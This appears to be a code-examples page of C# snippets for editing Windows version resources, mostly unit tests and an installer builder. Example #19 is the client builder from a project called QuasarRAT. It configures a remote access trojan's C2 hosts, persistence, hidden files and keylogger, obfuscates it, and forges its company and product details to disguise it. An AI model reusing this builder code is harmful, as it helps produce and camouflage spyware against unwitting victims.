                            html_files.Add(new EmbedFilePair(fullpath, Path.GetFileName(filename)));
                        }
                    }
                }

                IEnumerator<EmbedFilePair> html_files_enumerator = html_files.GetEnumerator();
                while (html_files_enumerator.MoveNext())
                {
                    EmbedFilePair pair = html_files_enumerator.Current;
                    String id = "";
                    for (int i = 0; i < pair.relativepath.Length; i++)
                    {
                        id += Char.IsLetterOrDigit(pair.relativepath[i]) ? pair.relativepath[i] : '_';
                    }

                    args.WriteLine(string.Format("Embedding HTML resource \"{0}\": {1}", id, pair.fullpath));
                    ResourceUpdate.WriteFile(h, new ResourceId("HTM"), new ResourceId(id.ToUpper()),
                        ResourceUtil.NEUTRALLANGID, pair.fullpath);
                }

                #endregion

                #region Embed CABs

                if (args.embed)
                {
                    args.WriteLine("Embedding CABs");
                    foreach (string cabfile in Directory.GetFiles(cabtemp))
                    {
                        args.WriteLine(string.Format(" {0} - {1}", Path.GetFileName(cabfile),
                            EmbedFileCollection.FormatBytes(new FileInfo(cabfile).Length)));

                        ResourceUpdate.WriteFile(h, new ResourceId("RES_CAB"), new ResourceId(Path.GetFileName(cabfile)),
                            ResourceUtil.NEUTRALLANGID, cabfile);
                    }

                    // cab directory

                    args.WriteLine("Embedding CAB directory");
                    StringBuilder filesDirectory = new StringBuilder();
                    filesDirectory.AppendLine(string.Format("Total CAB size: {0}\r\n", EmbedFileCollection.FormatBytes(totalSize)));
                    filesDirectory.AppendLine(string.Join("\r\n\r\n", allFilesList.ToArray()));
                    byte[] filesDirectory_b = Encoding.Unicode.GetBytes(filesDirectory.ToString());
                    ResourceUpdate.Write(h, new ResourceId("CUSTOM"), new ResourceId("RES_CAB_LIST"),
                        ResourceUtil.NEUTRALLANGID, filesDirectory_b);
                }

                #endregion

                // resource files
                ResourceFileCollection resources = configfile.GetResources(supportdir);
                foreach (ResourceFilePair r_pair in resources)
                {
                    args.WriteLine(string.Format("Embedding resource \"{0}\": {1}", r_pair.id, r_pair.path));
                    ResourceUpdate.WriteFile(h, new ResourceId("CUSTOM"), new ResourceId(r_pair.id),
                        ResourceUtil.NEUTRALLANGID, r_pair.path);
                }

                if (args.mslu)
                {
                    args.WriteLine("Embedding MSLU unicows.dll");

                    string unicowsdll = Path.Combine(templatepath, "unicows.dll");
                    if (! File.Exists(unicowsdll)) unicowsdll = Path.Combine(supportdir, "unicows.dll");
                    if (! File.Exists(unicowsdll)) unicowsdll = Path.Combine(Environment.CurrentDirectory, "unicows.dll");
                    if (! File.Exists(unicowsdll))
                    {
                        throw new Exception(string.Format("Error locating \"{0}\\unicows.dll\"", templatepath));
                    }

                    ResourceUpdate.WriteFile(h, new ResourceId("CUSTOM"), new ResourceId("RES_UNICOWS"),
                        ResourceUtil.NEUTRALLANGID, unicowsdll);
                }

                args.WriteLine(string.Format("Writing {0}", EmbedFileCollection.FormatBytes(totalSize)));

                if (!ResourceUpdate.EndUpdateResource(h, false))
                    throw new Win32Exception(Marshal.GetLastWin32Error());

                #endregion
            }
            finally
            {
                if (Directory.Exists(cabtemp))
                {
                    args.WriteLine(string.Format("Cleaning up \"{0}\"", cabtemp));
                    Directory.Delete(cabtemp, true);
                }

                if (!string.IsNullOrEmpty(configTemp))
                {
                    args.WriteLine(string.Format("Cleaning up \"{0}\"", configTemp));
                    File.Delete(configTemp);
                }
            }

            args.WriteLine(string.Format("Successfully created \"{0}\" ({1})",
                args.output, EmbedFileCollection.FormatBytes(new FileInfo(args.output).Length)));
        }
コード例 #16
0
        public void TestDeleteDeepCopyAndSaveVersionResource()
        {
            string filename = Path.Combine(Environment.SystemDirectory, "atl.dll");
            Assert.IsTrue(File.Exists(filename));
            string targetFilename = Path.Combine(Path.GetTempPath(), "atl.dll");
            File.Copy(filename, targetFilename, true);
            Console.WriteLine(targetFilename);
            VersionResource existingVersionResource = new VersionResource();
            existingVersionResource.Language = ResourceUtil.USENGLISHLANGID;
            existingVersionResource.LoadFrom(targetFilename);
            DumpResource.Dump(existingVersionResource);
            existingVersionResource.DeleteFrom(targetFilename);

            VersionResource versionResource = new VersionResource();
            versionResource.FileVersion = existingVersionResource.FileVersion;
            versionResource.ProductVersion = existingVersionResource.ProductVersion;

            StringFileInfo existingVersionResourceStringFileInfo = (StringFileInfo)existingVersionResource["StringFileInfo"];
            VarFileInfo existingVersionResourceVarFileInfo = (VarFileInfo)existingVersionResource["VarFileInfo"];

            // copy string resources, data only
            StringFileInfo stringFileInfo = new StringFileInfo();
            versionResource["StringFileInfo"] = stringFileInfo;
            {
                Dictionary<string, StringTable>.Enumerator enumerator = existingVersionResourceStringFileInfo.Strings.GetEnumerator();
                while (enumerator.MoveNext())
                {
                    StringTable stringTable = new StringTable(enumerator.Current.Key);
                    stringFileInfo.Strings.Add(enumerator.Current.Key, stringTable);
                    Dictionary<string, StringTableEntry>.Enumerator resourceEnumerator = enumerator.Current.Value.Strings.GetEnumerator();
                    while (resourceEnumerator.MoveNext())
                    {
                        StringTableEntry stringResource = new StringTableEntry(resourceEnumerator.Current.Key);
                        stringResource.Value = resourceEnumerator.Current.Value.Value;
                        stringTable.Strings.Add(resourceEnumerator.Current.Key, stringResource);
                    }
                }
            }

            // copy var resources, data only
            VarFileInfo varFileInfo = new VarFileInfo();
            versionResource["VarFileInfo"] = varFileInfo;
            {
                Dictionary<string, VarTable>.Enumerator enumerator = existingVersionResourceVarFileInfo.Vars.GetEnumerator();
                while (enumerator.MoveNext())
                {
                    VarTable varTable = new VarTable(enumerator.Current.Key);
                    varFileInfo.Vars.Add(enumerator.Current.Key, varTable);
                    Dictionary<UInt16, UInt16>.Enumerator translationEnumerator = enumerator.Current.Value.Languages.GetEnumerator();
                    while (translationEnumerator.MoveNext())
                    {
                        varTable.Languages.Add(translationEnumerator.Current.Key, translationEnumerator.Current.Value);
                    }
                }
            }

            versionResource.SaveTo(targetFilename);
            Console.WriteLine("Reloading {0}", targetFilename);

            VersionResource newVersionResource = new VersionResource();
            newVersionResource.LoadFrom(targetFilename);
            DumpResource.Dump(newVersionResource);

            Assert.AreEqual(newVersionResource.FileVersion, versionResource.FileVersion);
            Assert.AreEqual(newVersionResource.ProductVersion, versionResource.ProductVersion);

            StringFileInfo testedStringFileInfo = (StringFileInfo)newVersionResource["StringFileInfo"];
            foreach (KeyValuePair<string, StringTableEntry> stringResource in testedStringFileInfo.Default.Strings)
            {
                Assert.AreEqual(stringResource.Value.Value, stringFileInfo[stringResource.Key]);
            }

            VarFileInfo newVarFileInfo = (VarFileInfo)newVersionResource["VarFileInfo"];
            foreach (KeyValuePair<UInt16, UInt16> varResource in newVarFileInfo.Default.Languages)
            {
                Assert.AreEqual(varResource.Value, varFileInfo[varResource.Key]);
            }
        }
コード例 #17
0
        public void TestDeepCopyBytes(string binaryName, int language)
        {
            Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
            string filename = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\" + binaryName);
            Assert.IsTrue(File.Exists(filename));
            VersionResource existingVersionResource = new VersionResource();
            existingVersionResource.Language = (ushort)language;
            Console.WriteLine("Loading {0}", filename);
            existingVersionResource.LoadFrom(filename);
            DumpResource.Dump(existingVersionResource);

            VersionResource versionResource = new VersionResource();
            versionResource.FileVersion = existingVersionResource.FileVersion;
            versionResource.ProductVersion = existingVersionResource.ProductVersion;

            StringFileInfo existingVersionResourceStringFileInfo = (StringFileInfo)existingVersionResource["StringFileInfo"];
            VarFileInfo existingVersionResourceVarFileInfo = (VarFileInfo)existingVersionResource["VarFileInfo"];

            // copy string resources, data only
            StringFileInfo stringFileInfo = new StringFileInfo();
            {
                Dictionary<string, StringTable>.Enumerator enumerator = existingVersionResourceStringFileInfo.Strings.GetEnumerator();
                while (enumerator.MoveNext())
                {
                    StringTable stringTable = new StringTable(enumerator.Current.Key);
                    stringFileInfo.Strings.Add(enumerator.Current.Key, stringTable);
                    Dictionary<string, StringTableEntry>.Enumerator resourceEnumerator = enumerator.Current.Value.Strings.GetEnumerator();
                    while (resourceEnumerator.MoveNext())
                    {
                        StringTableEntry stringResource = new StringTableEntry(resourceEnumerator.Current.Key);
                        stringResource.Value = resourceEnumerator.Current.Value.Value;
                        stringTable.Strings.Add(resourceEnumerator.Current.Key, stringResource);
                    }
                }
            }

            // copy var resources, data only
            VarFileInfo varFileInfo = new VarFileInfo();
            {
                Dictionary<string, VarTable>.Enumerator enumerator = existingVersionResourceVarFileInfo.Vars.GetEnumerator();
                while (enumerator.MoveNext())
                {
                    VarTable varTable = new VarTable(enumerator.Current.Key);
                    varFileInfo.Vars.Add(enumerator.Current.Key, varTable);
                    Dictionary<UInt16, UInt16>.Enumerator translationEnumerator = enumerator.Current.Value.Languages.GetEnumerator();
                    while (translationEnumerator.MoveNext())
                    {
                        varTable.Languages.Add(translationEnumerator.Current.Key, translationEnumerator.Current.Value);
                    }
                }
            }

            bool firstResourceIsStringFileInfo = existingVersionResource[0] == existingVersionResourceStringFileInfo;
            if (firstResourceIsStringFileInfo)
            {
                versionResource["StringFileInfo"] = stringFileInfo;
                versionResource["VarFileInfo"] = varFileInfo;
            }
            else
            {
                versionResource["VarFileInfo"] = varFileInfo;
                versionResource["StringFileInfo"] = stringFileInfo;
            }

            ByteUtils.CompareBytes(existingVersionResource.WriteAndGetBytes(), versionResource.WriteAndGetBytes());
        }
コード例 #18
0
        public void TestDeleteVersionResource(string binaryName, int language)
        {
            Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
            string filename = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\" + binaryName);
            Assert.IsTrue(File.Exists(filename));
            string targetFilename = Path.Combine(Path.GetTempPath(), "testDeleteVersionResource.dll");
            File.Copy(filename, targetFilename, true);
            Console.WriteLine(targetFilename);
            VersionResource versionResource = new VersionResource();
            versionResource.Language = (ushort)language;
            versionResource.LoadFrom(targetFilename);
            Console.WriteLine("Name: {0}", versionResource.Name);
            Console.WriteLine("Type: {0}", versionResource.Type);
            Console.WriteLine("Language: {0}", versionResource.Language);
            versionResource.DeleteFrom(targetFilename);
            try
            {
                versionResource.LoadFrom(targetFilename);
                Assert.Fail("Expected that the deleted resource cannot be found");
            }
            catch (Win32Exception ex)
            {
                // expected exception
                Console.WriteLine("Expected exception: {0}", ex.Message);
            }

            AssertNoVersionResource(targetFilename);

            using (ResourceInfo ri = new ResourceInfo())
            {
                ri.Load(targetFilename);
                DumpResource.Dump(ri);
            }
        }
コード例 #19
0
ファイル: ClientBuilder.cs プロジェクト: GeekGalaxy/QuasarRAT
        /// <summary>
        /// Builds a client executable.
        /// </summary>
        /// <remarks>
        /// Assumes the 'client.bin' file exist.
        /// </remarks>
        public static void Build(BuildOptions options)
        {
            // PHASE 1 - Settings
            string encKey = FileHelper.GetRandomFilename(20);
            AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");

            foreach (var typeDef in asmDef.Modules[0].Types)
            {
                if (typeDef.FullName == "xClient.Config.Settings")
                {
                    foreach (var methodDef in typeDef.Methods)
                    {
                        if (methodDef.Name == ".cctor")
                        {
                            int strings = 1, bools = 1;

                            for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
                            {
                                if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
                                {
                                    switch (strings)
                                    {
                                        case 1: //version
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey);
                                            break;
                                        case 2: //ip/hostname
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey);
                                            break;
                                        case 3: //password
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Password, encKey);
                                            break;
                                        case 4: //installsub
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey);
                                            break;
                                        case 5: //installname
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey);
                                            break;
                                        case 6: //mutex
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey);
                                            break;
                                        case 7: //startupkey
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey);
                                            break;
                                        case 8: //encryption key
                                            methodDef.Body.Instructions[i].Operand = encKey;
                                            break;
                                        case 9: //tag
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey);
                                            break;
                                        case 10: //LogDirectoryName
                                            methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.LogDirectoryName, encKey);
                                            break;
                                    }
                                    strings++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
                                         methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
                                {
                                    switch (bools)
                                    {
                                        case 1: //install
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install));
                                            break;
                                        case 2: //startup
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup));
                                            break;
                                        case 3: //hidefile
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile));
                                            break;
                                        case 4: //Keylogger
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger));
                                            break;
                                        case 5: //HideLogDirectory
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory));
                                            break;
                                        case 6: // HideInstallSubdirectory
                                            methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideInstallSubdirectory));
                                            break;
                                    }
                                    bools++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
                                {
                                    //reconnectdelay
                                    methodDef.Body.Instructions[i].Operand = options.Delay;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
                                {
                                    methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath);
                                }
                            }
                        }
                    }
                }
            }

            // PHASE 2 - Renaming
            Renamer r = new Renamer(asmDef);

            if (!r.Perform())
                throw new Exception("renaming failed");

            // PHASE 3 - Saving
            r.AsmDef.Write(options.OutputPath);

            // PHASE 4 - Assembly Information changing
            if (options.AssemblyInformation != null)
            {
                VersionResource versionResource = new VersionResource();
                versionResource.LoadFrom(options.OutputPath);

                versionResource.FileVersion = options.AssemblyInformation[7];
                versionResource.ProductVersion = options.AssemblyInformation[6];
                versionResource.Language = 0;

                StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"];
                stringFileInfo["CompanyName"] = options.AssemblyInformation[2];
                stringFileInfo["FileDescription"] = options.AssemblyInformation[1];
                stringFileInfo["ProductName"] = options.AssemblyInformation[0];
                stringFileInfo["LegalCopyright"] = options.AssemblyInformation[3];
                stringFileInfo["LegalTrademarks"] = options.AssemblyInformation[4];
                stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
                stringFileInfo["FileVersion"] = versionResource.FileVersion;
                stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
                stringFileInfo["InternalName"] = options.AssemblyInformation[5];
                stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5];

                versionResource.SaveTo(options.OutputPath);
            }

            // PHASE 5 - Icon changing
            if (!string.IsNullOrEmpty(options.IconPath))
                IconInjector.InjectIcon(options.OutputPath, options.IconPath);
        }
コード例 #20
0
 public void TestDeleteVersionResource()
 {
     string filename = Path.Combine(Environment.SystemDirectory, "atl.dll");
     Assert.IsTrue(File.Exists(filename));
     string targetFilename = Path.Combine(Path.GetTempPath(), "testDeleteVersionResource.dll");
     File.Copy(filename, targetFilename, true);
     Console.WriteLine(targetFilename);
     VersionResource versionResource = new VersionResource();
     versionResource.Language = ResourceUtil.USENGLISHLANGID;
     versionResource.LoadFrom(targetFilename);
     Console.WriteLine("Name: {0}", versionResource.Name);
     Console.WriteLine("Type: {0}", versionResource.Type);
     Console.WriteLine("Language: {0}", versionResource.Language);
     versionResource.DeleteFrom(targetFilename);
     try
     {
         versionResource.LoadFrom(targetFilename);
         Assert.Fail("Expected that the deleted resource cannot be found");
     }
     catch (Win32Exception ex)
     {
         // expected exception
         Console.WriteLine("Expected exception: {0}", ex.Message);
     }
     using (ResourceInfo ri = new ResourceInfo())
     {
         ri.Load(targetFilename);
         DumpResource.Dump(ri);
     }
 }
コード例 #21
0
 public static void Dump(VersionResource rc)
 {
     Console.WriteLine(rc.ToString());
 }
コード例 #22
0
 public void TestLoadDeleteGreekResource()
 {
     // the 6to4svcgreek.dll has a Greek version info strings resource
     VersionResource vr = new VersionResource();
     vr.Language = 1032;
     string testDll = Path.Combine(Path.GetTempPath(), "testLoadDeleteGreekResource.dll");
     Console.WriteLine(testDll);
     Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
     string dll = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\6to4svcgreek.dll");
     File.Copy(dll, testDll, true);
     vr.LoadFrom(testDll);
     DumpResource.Dump(vr);
     Assert.AreEqual(1032, vr.Language);
     vr.DeleteFrom(testDll);
 }